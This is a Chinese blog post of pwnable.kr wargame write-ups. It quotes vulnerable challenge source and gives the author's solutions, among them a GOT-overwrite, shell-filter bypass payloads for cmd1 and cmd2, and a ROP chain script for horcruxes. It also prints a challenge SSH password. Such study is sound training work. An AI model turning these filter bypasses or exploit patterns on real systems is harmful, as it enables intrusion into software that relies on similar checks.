pwnable.kr记录

fd

linux fd是一个非负索引值,是文件描述符,打开一个文件时候内核给进程一个文件描述符。后续read write时候只需要提供这个fd。
fd为0是标准输入STDIN_FILENO,1是标准输出STDOIT_FILENO,2是标准错误STDERR_FILENO
linux进程是基于task_struct结构体,里面有个file_struct类型的files变量就是管理进程打开的所有文件的管理结构,内部的核心是通过动态数组和静态数组实现,而fd就是里面这个数组的索引,也就是fd对应着struct file结构体数组相应的地址
image
image
而fd就是数组元素struct file的索引,所以如果进程open第一个文件索引一般是3
image
这个题直接凑出0 fd,然后输入即可

collision pwntools ssh连接,传参

如何利用pwntools远程连接ssh控制进程并且传参
shell=ssh(username,host,port=,password=)
然后shell.process([要执行的进程的信息])
如果要传参,就是[路径,参数1,参数2]
参数可以有\x00,但是必须位于末尾,如果\x00后面还有字符就会报错
image
这个题读入20b,分5组加起来要求等于一个值,随便分配但是不能有\x00,不然有问题

bof

image
checksec看是32位保护全开,但是我们只要覆盖标志就行,距离ebp 2c,加上4b的ebp加上4b的ret_addr,然后就是参数,覆盖即可。
这个是nc,但是在本机nc不行,必须去人家的ssh里面nc,所以要把脚本复制进去,这种nc的连接用remote。
pr=remote(ip,port)是远程nc的
image

passcode pwntools nc远程连接

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==123456 && passcode2==13371337){
                printf("Login OK!\n");
		setregid(getegid(), getegid());
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.1 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}


这个题scanf没有取地址符,所以实际上是读取passcode1和passcode2栈空间里面的值作为scanf的地址去写入,这两个值挨着位于ebp-0x10,ebp-0xc
image
按理来说没有初始化没法控制,但是welcome函数可以在栈空间写入100字节,在ebp-0x70位置最多可以写入0x64字节,也就是刚好能写入ebp-0x10,所以这样相当于实现任意写入,如果只是写flag那么passcode2是没法写到的,而且有\x00scanf读入不进来。
所以考虑劫持控制流,checksec发现是partial relro,got.plt表可写,那么最开始打算替换puts,因为puts跟在scanf后面,但是puts地址是0x804c020,这个0x20是32是空格,scanf会被截断,那么就替换exit,0x804c028,把这个地址写成getegid那个位置,这样调用exit就直接开始打印flag了。scanf读入一个非法字符就会终止读入并且不会实际向地址写入。这是因为这个打印flag的没有栈操作。
image
image

实际上sendline可以直接发送各种数据类型不用转换成bytes

ssh如何传输文件

由于文件都在ssh服务器那边,所以要传输过来
关于ssh传输文件 sftp -P port username@hostname

sftp> ls                    # 列出远程文件
sftp> lls                   # 列出本地文件
sftp> put local_file.txt    # 上传文件
sftp> get remote_file.txt   # 下载文件
sftp> mkdir new_dir         # 创建目录
sftp> rm file.txt           # 删除文件
sftp> cd path               # 改变远程目录
sftp> lcd path              # 改变本地目录
sftp> rename old new        # 重命名
sftp> exit                  # 退出

random

关于c语言随机数问题
关于随机数rand(),没有srand()情况下种子是1,然后遵循固定的算法
也就是说rand的算法是固定的基本上(可能下面的算法不对,网上抄的

int rand(void) {
    next = next * 1103515245 + 12345;
    return (unsigned int)(next / 65536) % 32768;
}

void srand(unsigned int seed) {
    next = seed;  // 设置种子
}

linux下第一个数基本上都是1804289383,windows下本机是41
所以就直接做出来了,脚本都不用

input2

process(argv, shell=False, executable=None, cwd=None, env=None, timeout=timeout.default, stdin=PTY, stdout=None, stderr=None, close_fds=True, preexec_fn=None, preexec_fn_args=(), raw=True, aslr=None, setuid=None, setgid=None, **kwargs)

参数详解
argv(必需):

类型:字符串或列表

说明:要执行的程序及其参数。如果是字符串,且 shell=True,则通过 shell 执行;如果是列表,则直接执行。

shell:

类型:布尔值

默认:False

说明:如果为 True,则通过 shell 执行命令。这可以用于执行 shell 内置命令或使用 shell 语法(如通配符、管道等)。

executable:

类型:字符串

默认:None

说明:要执行的可执行文件的路径。如果未指定,则使用 argv[0]。

cwd:

类型:字符串

默认:None

说明:设置进程的当前工作目录。

env:

类型:字典

默认:None

说明:设置进程的环境变量。如果为 None,则继承当前环境。

timeout:

类型:数字

默认:timeout.default(通常为 5 秒)

说明:设置进程的默认超时时间。

stdin:

类型:文件描述符或 pwnlib.tubes.tube.tube 对象

默认:PTY(伪终端)

说明:指定进程的标准输入。可以是文件描述符(整数)、subprocess.PIPE、pwnlib.tubes.pty.PTY 等。

stdout:

类型:文件描述符或 pwnlib.tubes.tube.tube 对象

默认:None(继承父进程)

说明:指定进程的标准输出。

stderr:

类型:文件描述符或 pwnlib.tubes.tube.tube 对象

默认:None(继承父进程)

说明:指定进程的标准错误。可以设置为 STDOUT 以将标准错误重定向到标准输出。

close_fds:

类型:布尔值

默认:True

说明:如果为 True,则除 0、1、2 之外的所有文件描述符都将在子进程中关闭。

preexec_fn:

类型:可调用对象

默认:None

说明:一个在子进程中执行前的可调用对象,通常用于设置一些环境(如设置资源限制、信号处理等)。

preexec_fn_args:

类型:元组

默认:()

说明:传递给 preexec_fn 的参数。

raw:

类型:布尔值

默认:True

说明:如果为 True,则禁用终端行缓冲(通过伪终端)。

aslr:

类型:布尔值

默认:None

说明:如果为 True 或 False,则尝试启用或禁用 ASLR(地址空间布局随机化)。注意:这可能需要 root 权限。

setuid:

类型:整数或字符串

默认:None

说明:如果设置,则尝试将进程的 UID 设置为指定值(需要 root 权限)。

setgid:

类型:整数或字符串

默认:None

说明:如果设置,则尝试将进程的 GID 设置为指定值(需要 root 权限)。

好题,介绍了linux好多东西
先看源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
	printf("Welcome to pwnable.kr\n");
	printf("Let's see if you know how to give input to program\n");
	printf("Just give me correct inputs then you will get the flag :)\n");

	// argv
	if(argc != 100) return 0;
	printf("Num correct!\n");
	if(strcmp(argv['A'],"\x00")) return 0;
	printf("Stage1 1 pass\n");
	if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
	printf("Stage 1 clear!\n");	

	// stdio
	char buf[4];
	read(0, buf, 4);
	if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
	printf("Stage2 1 pass\n");
	read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
	printf("Stage 2 clear!\n");
	
	// envx
	if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
	printf("Stage 3 clear!\n");

	// file
	FILE* fp = fopen("\x0a", "r");
	if(!fp) return 0;
	if( fread(buf, 4, 1, fp)!=1 ) return 0;
	if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
	fclose(fp);
	printf("Stage 4 clear!\n");	

	// network
	int sd, cd;
	struct sockaddr_in saddr, caddr;
	sd = socket(AF_INET, SOCK_STREAM, 0);
	if(sd == -1){
		printf("socket error, tell admin\n");
		return 0;
	}
	saddr.sin_family = AF_INET;
	saddr.sin_addr.s_addr = INADDR_ANY;
	saddr.sin_port = htons( atoi(argv['C']) );
	if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
		printf("bind error, use another port\n");
    		return 1;
	}
	listen(sd, 1);
	int c = sizeof(struct sockaddr_in);
	cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
	if(cd < 0){
		printf("accept error, tell admin\n");
		return 0;
	}
	if( recv(cd, buf, 4, 0) != 4 ) return 0;
	if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
	printf("Stage 5 clear!\n");

	// here's your flag
	setregid(getegid(), getegid());
	system("/bin/cat flag");	
	return 0;
}


首先是参数有两个要求,单独的\x00没问题,后面没有字符就行,根据process参数,第一个是参数列表,构造一个即可,其他的填\x00
image
然后read函数

ssize_t read (int fd, void *buf, size_t count);

返回成功读取的字节数失败返回-1,第一个参数是fd,第二个是缓冲区指针,第三个是读取的最大大小,遇到\n和\x00不停止,但是遇到文件结束符EOF(或者是终端发送一行sendline这种),会停止
image
因为终端是默认一次一行向read提供输入
而且读取一个文件用好几次read时候文件起始的指针会往后移,这个是内核搞的,和标准io无关
fd是0从标准读入读取,fd为2按理来说是向标准错误输出
这里面要改process里面stderr参数重定向到一个输入,这里面用管道
write_fd写入\x00\x0a\x02\xff,这样read_fd就能读取到这个值了,os.pipe返回read_fd,write_fd
image
问题3是要给一个奇怪名字的环境变量写入奇怪的值
正常来说在终端设置环境变量:
export name=value
然后unset name取消环境变量
环境变量是加载到内存里面的,所以说只在当前终端有效
用env命令可以查看所有环境变量
image
然后还有一种东西叫做本地变量
比如说直接MHE=4
这个虽然也能用$访问,但是env里面不显示而且只在bash进程内部有效无法被继承(c语言getenv读取不到)

image

image
image
这个就是说明环境变量和本地变量

然后c语言getenv函数获得环境变量的值(返回值是字符串),头文件stdlib.h
但是如果是特殊字符,我们只能用pwntools了,process的参数里面有env参数,是一个列表,列出额外的环境变量,image

问题4麻烦一些,要求写入一个特殊文件名的文件,但是可执行目录没有权限,我们只能在tmp下面写入,好在flag在/tmp下面也有
这样我们需要切换程序的默认工作目录到/tmp,但是可执行文件本身以及参数列表不能动,所以说process下面有个参数cwd,是当前工作目录,字符串格式
image
然后提前在/tmp下面写入\x0a文件名的文件
image

问题5最麻烦,是socket有关
https://cloud.tencent.com/developer/article/1008767
https://cloud.tencent.com/developer/article/1008772
https://cloud.tencent.com/developer/article/1008779

这个题就很明确了,首先在本机argv['C']的端口设置一个监听,然后读取到buf,如果是\xde\xad\xbe\xef就行,所以说python写脚本时候相当于写一个客户端,连接到本机的这个端口,而这个端口是通过参数控制的,所以我们可以设置端口是1234
python里面socket的库就叫socket
建立时候直接socket(AF_INET,套接字类型)
显然是ipv4,tcp的
然后sock1.connect((ip,port))
sock1.send(bytes流)
sock1.close()
很简单
最后整个脚本的代码

from pwn import *
import os
from socket import *
import time
#shell=ssh("input2","pwnable.kr",port=2222,password="guest")
arglist=["/home/input2/input2"]
for i in range(0,65):
    arglist.append(b"\x00")
arglist.append(b"\x20\x0a\x0d")
arglist.append(b"1234")
for i in range(0,32):
    arglist.append(b"\x00")
read_fd,write_fd=os.pipe()
os.write(write_fd,b"\x00\x0a\x02\xff") 
with open("/tmp/\x0a","w") as f:
    f.write("\x00\x00\x00\x00")   
pr=process(arglist,stderr=read_fd,env={"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"},cwd="/tmp")
pr.sendline(b"\x00\x0a\x00\xff")
time.sleep(1)
sock1=socket(AF_INET,SOCK_STREAM)
ip="127.0.0.1"
port=1234
sock1.connect((ip,port))
sock1.send(b"\xde\xad\xbe\xef")
sock1.close()
pr.interactive()

leg

c语言代码

#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

汇编语言代码

(gdb) disass main
Dump of assembler code for function main:
   0x00008d3c <+0>:	push	{r4, r11, lr}
   0x00008d40 <+4>:	add	r11, sp, #8
   0x00008d44 <+8>:	sub	sp, sp, #12
   0x00008d48 <+12>:	mov	r3, #0
   0x00008d4c <+16>:	str	r3, [r11, #-16]
   0x00008d50 <+20>:	ldr	r0, [pc, #104]	; 0x8dc0 <main+132>
   0x00008d54 <+24>:	bl	0xfb6c <printf>
   0x00008d58 <+28>:	sub	r3, r11, #16
   0x00008d5c <+32>:	ldr	r0, [pc, #96]	; 0x8dc4 <main+136>
   0x00008d60 <+36>:	mov	r1, r3
   0x00008d64 <+40>:	bl	0xfbd8 <__isoc99_scanf>
   0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3
   0x00008d88 <+76>:	ldr	r3, [r11, #-16]
   0x00008d8c <+80>:	cmp	r2, r3
   0x00008d90 <+84>:	bne	0x8da8 <main+108>
   0x00008d94 <+88>:	ldr	r0, [pc, #44]	; 0x8dc8 <main+140>
   0x00008d98 <+92>:	bl	0x1050c <puts>
   0x00008d9c <+96>:	ldr	r0, [pc, #40]	; 0x8dcc <main+144>
   0x00008da0 <+100>:	bl	0xf89c <system>
   0x00008da4 <+104>:	b	0x8db0 <main+116>
   0x00008da8 <+108>:	ldr	r0, [pc, #32]	; 0x8dd0 <main+148>
   0x00008dac <+112>:	bl	0x1050c <puts>
   0x00008db0 <+116>:	mov	r3, #0
   0x00008db4 <+120>:	mov	r0, r3
   0x00008db8 <+124>:	sub	sp, r11, #8
   0x00008dbc <+128>:	pop	{r4, r11, pc}
   0x00008dc0 <+132>:	andeq	r10, r6, r12, lsl #9
   0x00008dc4 <+136>:	andeq	r10, r6, r12, lsr #9
   0x00008dc8 <+140>:			; <UNDEFINED> instruction: 0x0006a4b0
   0x00008dcc <+144>:			; <UNDEFINED> instruction: 0x0006a4bc
   0x00008dd0 <+148>:	andeq	r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
End of assembler dump.
(gdb) 

这个是关于arm寄存器和PC LR之类的问题
arm有一个thumb模式
正常来说当我们执行某条指令时候PC寄存器指向的是当前指令地址+4或者+2(看是不是thumb)
但是arm有三级流水线
所以执行当前指令时候第二条指令在译码第三条指令在取指,而PC寄存器总是指向第三条指令
也就是说处于ARM状态时候PC寄存器值=当前指令地址+8字节
处于THUMB状态时候PC寄存器值=当前指令地址+4字节
然后程序最开始运行时候肯定是arm状态
怎么切换状态呢,就靠这个bx指令
bx 地址(末位是0) 是跳转后切换arm状态
bx 地址+1(末位是1) 跳转后切换thumb状态

然后就是LR寄存器:
LR寄存器应该记录的是跳转之前的执行跳转这个命令的下一条指令,这个是根据PC算出来的(当然体现在arm架构本身),然后bx lr之后相当于跳转回去,一旦跳转完成那么pc寄存器还是上面的算法。
所以我们看到key1的r0=r3=0x8cdc+8=0x8ce4
key2的r0=r3=0x8d04+4+4(因为是thumb)=0x8d0c
key3的r0=lr=0x8d80
加起来是108400
image

即可拿到flag

mistake

绝世好题,提示我们要注意运算优先级和括号!!

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                setregid(getegid(), getegid());
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}

看起来是读入一个密码然后从stdin再读入一个pw_buf2异或上1然后和密码对比,一样就打印flag
看起来没什么漏洞,首先scanf读入的是严格最多长度是10的密码没有溢出,然后后面strncmp的长度也是10
这里面先提一下strncmp和strcmp的截断
就是说遇到\x00会截断停止比较,比如说a是ab\x00c
b是ab\x00d那么a和b会被strcmp或者strncmp认为是相等的,但是如果a是ab\x00c
b是abc,那么就是不相等的,认为a的长度是2,b的长度是3
而strncmp是限制长度的,也就是最多比较这么多字节剩下的就不比较了,但是提前遇到\x00就会截断。

那么问题出在哪呢,如果我们运行这个程序你必须输入点东西或者按回车才能继续,这看起来很奇怪对吧,毕竟读入pw_buf2之前没有别的从stdin读入的啊。
这时候就要仔细看了

 if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
 }

这里面是先比较是否小于0然后把结果赋值给fd!!!
因为=优先级低
所以说open的fd实际上没有用,因为肯定大于0
所以fd实际上是0,因为没有小于0
所以实际上就是从标准读入输入,但是由于是read会把换行符读进来,而scanf肯定不会读到换行符
所以如果第一行输入0(ascii 48) 第二行输入1(ascii 49)看起来确实异或1就相等,但是换行符的原因,而第二行明显长度少1,所以不相等
那么很简单的解决方案,直接10个字节全读入0那么就满了就不会读入换行符了,所以第一行0000000000
第二行1111111111
image
那么我们还会发现

if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
}

这个len读入的是1,也不是真实的长度,但是后面没用到

coin1

这个是傻子交互题,和pwn没啥关系
说是有一堆硬币n个,里面就一个重量是9,其余都是10,然后每次查询你可以查询任意一些硬币的总重量,要求你用c次查询找出重量是9的硬币的编号。
那么可以二分,直接看哪一边不是10的倍数,那么那一边里面就有重量是9的硬币,如果次数还剩着就随便查询这个硬币自己就行

from pwn import *
context.log_level = 'debug'
pr=remote("127.0.0.1",9007)
pr.recvuntil(b"Ready?")


def query(l,r):
    s=""
    for i in range(l,r+1):
        s=s+str(i)+" "
    pr.sendline(s)
    return int(pr.recvline().strip())
def bs(n,c):
    l=0
    r=n-1
    cnt=0
    while l<r:
        mid=(l+r)//2
        sum1=query(l,mid)
        cnt=cnt+1
        if sum1==(mid-l+1)*10:
            l=mid+1
        else:
            r=mid
    if cnt<c:
        for i in range(0,c-cnt):
            query(l,l)
    pr.sendline(str(l))
for i in range(0,100):
    pr.recvuntil(b"N=")
    n=int(pr.recvuntil(" ").strip())
    pr.recvuntil(b"C=")
    c=int(pr.recvuntil("\n").strip())
    #pr.recvuntil("\n")
    bs(n,c)
pr.interactive()

lotto

绝世好题,和数学有关.jpg

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play(){

        int i;
        printf("Submit your 6 lotto bytes : ");
        fflush(stdout);

        int r;
        r = read(0, submit, 6);

        printf("Lotto Start!\n");
        //sleep(1);

        // generate lotto numbers
        int fd = open("/dev/urandom", O_RDONLY);
        if(fd==-1){
                printf("error. tell admin\n");
                exit(-1);
        }
        unsigned char lotto[6];
        if(read(fd, lotto, 6) != 6){
                printf("error2. tell admin\n");
                exit(-1);
        }
        for(i=0; i<6; i++){
                lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
        }
        close(fd);

        // calculate lotto score
        int match = 0, j = 0;
        for(i=0; i<6; i++){
                for(j=0; j<6; j++){
                        if(lotto[i] == submit[j]){
                                match++;
                        }
                }
        }

        // win!
        if(match == 6){
                setregid(getegid(), getegid());
                system("/bin/cat flag");
        }
        else{
                printf("bad luck...\n");
        }

}

void help(){
        printf("- nLotto Rule -\n");
        printf("nlotto is consisted with 6 random natural numbers less than 46\n");
        printf("your goal is to match lotto numbers as many as you can\n");
        printf("if you win lottery for *1st place*, you will get reward\n");
        printf("for more details, follow the link below\n");
        printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
        printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]){

        // menu
        unsigned int menu;

        while(1){

                printf("- Select Menu -\n");
                printf("1. Play Lotto\n");
                printf("2. Help\n");
                printf("3. Exit\n");

                scanf("%d", &menu);

                switch(menu){
                        case 1:
                                play();
                                break;
                        case 2:
                                help();
                                break;
                        case 3:
                                printf("bye\n");
                                return 0;
                        default:
                                printf("invalid menu\n");
                                break;
                }
        }
        return 0;
}

题目的意思是先读入6个字节的随机数,然后通过取模变成1-45范围的数,然后从stdin读入6个字节的submit[],然后这两个数组任意两个数能匹配(也就是相等)的对数如果达到6就打印flag

那么我们来分析,我们只需要输入6个相同的字节,然后只要lotto数组里面出现一次这个数那么匹配值就达到6了,那么我们不妨输入6个\x01,也就是6个数都是1.所以说我们先考虑计算随机6个1-45的数至少一个是1的概率
那么可以反向考虑就是1减去 6个数里面一个1都没有的概率
\(p=(44/45)^6,1-p=1-(44/45)^6\)
然后我们实际上就是要考虑尝试的次数,因为这相当于是固定输入然后暴力,所以说就是要计算出现至少一个数是1的局面的期望随机次数
那么就是\(1/(1-p)\)
所以期望计算出来大概是8次
下面是有意思的地方,就是说为什么期望是1/(1-p)呢
换句话说更通用的问题:单次干某件事成功的概率是p,那么反复干这件事直到第一次成功的期望次数为什么是1/p
那么设期望是\(x\)
那么如果第一次成功,那么只需要一次,概率是p,如果第一次不成功,那么相当于重新来直到第一次成功,然后额外还要花一次,概率是(1-p)
\(x=p*1+(1-p)*(x+1)\)
\(x=p+x+1-px-p\)
\(0=1-px\)
\(x=1/p\)

cmd1

好题,和linux 终端/sh/bash绕过逃逸相关的

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "flag")!=0;
        r += strstr(cmd, "sh")!=0;
        r += strstr(cmd, "tmp")!=0;
        return r;
}
int main(int argc, char* argv[], char** envp){
        putenv("PATH=/thankyouverymuch");
        if(filter(argv[1])) return 0;
        setregid(getegid(), getegid());
        system( argv[1] );
        return 0;
}

看到把path搞没了,但是cat在/bin/cat ,另外flag被过滤了但是中间加""不影响,另外语句分割使用分号";"
所以最后
image

cmd2

好题,这个难多了。

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        setregid(getegid(), getegid());
        system( argv[1] );
        return 0;
}

首先所有环境变量都没了,只有linux系统自带的命令能用,其次这是sh不是bash,所以很多终端上的那些绕过都用不了。
然后"/“ "="都没了

cd ..;cd ..;cd bin;
read PAT <<< "$(pwd)" ;
cd ..;cd home;cd cmd2;${PAT:0:1}bin${PAT:0:1}ls

比如这个绕过就用不了,里面的<<< sh也不支持,这个是here string,sh不支持
然后${变量:0:1}是bash的扩展功能,sh也不支持
而且这里面禁用了反引号
这里介绍一下linux里面关于引号的问题
单引号
单引号会原封不动把里面内容输出不做解析
image
双引号
双引号内会解析反引号 $
反引号是做命令替换
把反引号里面内容执行然后返回结果,他会解析里面的变量,所以说这个可以用来执行某一个变量的内容
所以说如果有反引号我们可以给本地变量赋值然后直接执行
但是给变量赋值要用等号,用export也要等号
所以说这里面还有一个方案就是linux自带的read
read 变量名 按理来说是从终端读取一行,但是我们可以利用管道
<< EOF
内容
EOF

这样可以把内容从管道读入
里面会把解析\(的内容,这个\)()相当于反引号,把命令执行的结果返回
那么现在我们要cat flag,需要先找到cat,但是/是没有的,所以说我们可以先切换到根目录用pwd得到/,也就是利用read和EOF的管道,$(pwd)放进去,然后结果存储到变量里面,然后就可以利用变量拼接得到cat,然后flag变成fl\ag就可以了

from pwn import *
shell=ssh("cmd2","pwnable.kr",port=2222,password="PATH_environment?_Now_I_really_g3t_it,_mommy!")
payload1="$(printf \"\\x2fbin\\x2fcat\" )"
payload2="cd ..;cd ..;\nread f_c <<EOF\n$(pwd)\nEOF\ncd home;cd cmd2;${f_c}bin${f_c}cat fl\\ag"
print(payload2)

pr=shell.process(["./cmd2",payload2])
pr.interactive()

horcruxes

image

image

image

image

Full relro no canary,所以不要想着劫持got表
然后就是由于seccomp,相当于屏蔽了system函数或者类似的系统调用,只能orw,不要想着简单的getshell
然后如果你直接劫持返回地址到输出flag那一块,就会发现一个问题里面有栈的调用,比如说ebp相关的,但是我们覆盖返回地址时候把ebp改了,所以直接劫持是不行的。
那么orw应该是可以的,但是还有更简单的办法,如果让abcdefg这些函数都执行一遍就会把abcdefg都泄露,然后加起来就是sum,然后重新执行ropme这个函数,再读入sum就直接判断通过能够打印出flag
所以说脚本

from pwn import *
context.log_level="debug"
pr=remote("127.0.0.1",9032)
pr.sendline(b"1")
#pr.sendline(b"1")
payload=b"0"*0x78+p32(0x804129d)+p32(0x80412cf)+p32(0x8041301)+p32(0x8041333)+p32(0x8041365)+p32(0x8041397)+p32(0x80413c9)+p32(0x804150b)
pr.sendline(payload)
pr.recvuntil(b"EXP +")
a=int(pr.recvuntil(b")").strip(b")"))
pr.recvuntil(b"EXP +")
b=int(pr.recvuntil(b")").strip(b")"))
pr.recvuntil(b"EXP +")
c=int(pr.recvuntil(b")").strip(b")"))
pr.recvuntil(b"EXP +")
d=int(pr.recvuntil(b")").strip(b")"))
pr.recvuntil(b"EXP +")
e=int(pr.recvuntil(b")").strip(b")"))
pr.recvuntil(b"EXP +")
f=int(pr.recvuntil(b")").strip(b")"))
pr.recvuntil(b"EXP +")
g=int(pr.recvuntil(b")").strip(b")"))
sums=a+b+c+d+e+f+g
print(sums)
pr.sendline(b"0")
pr.sendline(str(sums))
pr.interactive()


'''
0x08041022 : pop ebx ; ret
0x0804119c : mov ebx, dword ptr [esp] ; ret
'''
posted @ 2026-01-15 14:52  hicode002  阅读(13)  评论(0)    收藏  举报